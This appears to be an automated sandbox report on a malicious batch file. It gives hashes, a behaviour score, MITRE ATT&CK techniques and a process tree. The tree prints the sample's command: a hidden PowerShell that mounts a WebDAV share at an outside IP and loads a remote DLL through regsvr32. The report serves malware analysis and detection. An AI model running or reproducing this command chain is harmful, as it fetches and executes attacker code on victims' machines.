fc21b27e3f1cf0405d857a4f2a5026efd7eb9e7ee759cb5a79b7eadef3afa66d

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:31

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General

Target

321765356086647.bat
Size

3KB
MD5

00e8f911da6647defb3d971de3bd2ce8
SHA1

7a4b4543eac57c3cd01606964ffb83152206a266
SHA256

85b254adbdad5f84515c6ab1ff7519de305c08f06f9dca419af7c88c6bbb496e
SHA512

9e1b471b385834fd1b3d3489942c007a7781e4a822353f28f74a72cedad74aba0101935dc1480b53b14b92ce2042121e1ff1d404ffdb8ebe49ecfb03deac0a93

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2916	2688	cmd.exe	31
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2688 wrote to memory of 2912	2688	cmd.exe	32
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2596	2912	powershell.exe	34
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35
PID 2912 wrote to memory of 2536	2912	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\321765356086647.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\97842936314362.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2596
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\97842936314362.dll
    3⤵
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2912-23-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2912-24-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download